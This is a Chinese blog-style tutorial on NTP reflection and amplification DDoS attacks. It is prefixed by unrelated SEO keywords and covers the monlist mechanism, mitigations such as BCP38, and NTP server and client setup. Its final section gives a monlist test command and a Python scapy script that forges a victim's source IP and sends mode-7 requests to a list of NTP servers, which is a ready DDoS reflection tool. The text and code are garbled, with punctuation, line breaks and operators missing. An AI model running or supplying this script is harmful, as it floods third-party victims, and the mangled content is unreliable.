网站变慢的原因,跨境电商运营平台,网站标签中的图片怎么做的,如何申请小程序店铺文章目录 什么是NTPNTP反射放大攻击解决方案搭建NTP服务器部署服务器端windows NTP命令行本机测试 部署客户端ntpdatechrony 实验Python利用脚本 什么是NTP
基于UDP协议的NTP#xff08;网络时间协议#xff09;#xff1a;使网络中各个计算机时间同步的一种协议
用途网络时间协议使网络中各个计算机时间同步的一种协议
用途把计算机时钟调节到世界调节时UDP
NTP反射放大攻击 UDP协议面向无连接客户端发送请求包源IP容易进行伪造 反射攻击修改客户端发送请求包中源IP为受害者IP服务器端返回响应包返回到受害者IP 放大攻击一个请求包收到多个响应包 NTP反射放大攻击一种分布式拒绝服务DDoS攻击 服务器端回复一个带有欺骗源IP地址的数据包而且至少有一个内置命令会对一个简短的请求发送一个长回复。这使得它成为DDoS工具的理想选择 NTP 包含一个 monlist 功能 MON_GETLIST主要用于监控 NTP 服务器。 NTP 服务器响应monlist后就会返回响应包给和 NTP 服务器进行时间同步的最后 600 个客户端的 IP响应包按照每 6 个 IP 进行分割最多有 100 个响应包。
解决方案 可以通过访问open NTP项目http://openntpproject.org/来检查网络上是否有开放的NTP服务器支持MONLIST命令运行。 NTP和其他基于udp的放大攻击都依赖于源IP地址欺骗。如果攻击者不能欺骗源IP地址那么他们只能自己攻击DDoS。如果正在运行一个网络那么应该确保遵循BCP38并防止带有欺骗源地址的数据包离开主机网络。可以使用麻省理工学院的Spoofer项目http://spoofer.cmand.org/summary.php的工具来测试你的网络当前是否遵循BCP38。
搭建NTP服务器
部署服务器端
Windows server 2008
修改注册表 依次展开数据项目计算机\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer把Enabled设置为1打开NTP服务 打开NTP服务 找到windows time windows NTP命令行
启动net start w32time
停止net stop w32time本机测试
如果有回显则服务正常
w32tm /stripchart /computer:127.0.0.1部署客户端
服务端部署成功后如果要为客户端提供服务的话需要开放udp协议中的123端口或者根据自身安全情况关闭防火墙。客户端下可以使用ntpdate命令来同步服务器时间也可以使用chrony服务。
ntpdate
# 安装ntpdate服务
sudo apt-get install ntpdate# 安装完成后, 同步时间。xxx.xxx.xxx.xxx为你服务器的IP地址clock -w把时间写入硬件。
sudo ntpdate xxx.xxx.xxx.xxx clock -wchrony
chrony是一个时间同步服务通过配置可以把一台服务器变为NTP服务端或客户端这里只用到客户端的功能。
sudo apt-get install chrony安装完成后打开配置文件
vim /etc/chrony.conf如果做客户端的话只需要修改其中的一行文件最后保存退出。
# xxx为你的IP地址
server xxx.xxx.xxx.xxx重启chrony服务使用时间同步服务生效。
systemctl restart chronyd实验
linux中可以使用ntpdate、ntpdc进行反射测试。
模拟协议客户端执行以下命令执行成功时说明服务端存在被攻击风险可实施攻击。
ntpdate -n -c monlist x.x.x.x | wc -lNTP服务的IP测试结果此处内网由于数据量小 Python利用脚本
#!/usr/bin/env python
# -*- coding: utf-8 -*-import sys
from scapy.all import *def attack(target, ntp_server):send(IP(dstntp_server, srctarget)/(UDP(sport52816)/NTP(version2, mode7, stratum0, poll3, precision42)))if __name__ __main__:if len(sys.argv) ! 3:print(执行方法: python xxx.py 攻击目标 ntp服务器文件)sys.exit(1)target sys.argv[1]ntp_server_file sys.argv[2]for ntp_server in open(ntp_server_file, r):ntp_server ntp_server.strip()if ntp_server ! :attack(target, ntp_server)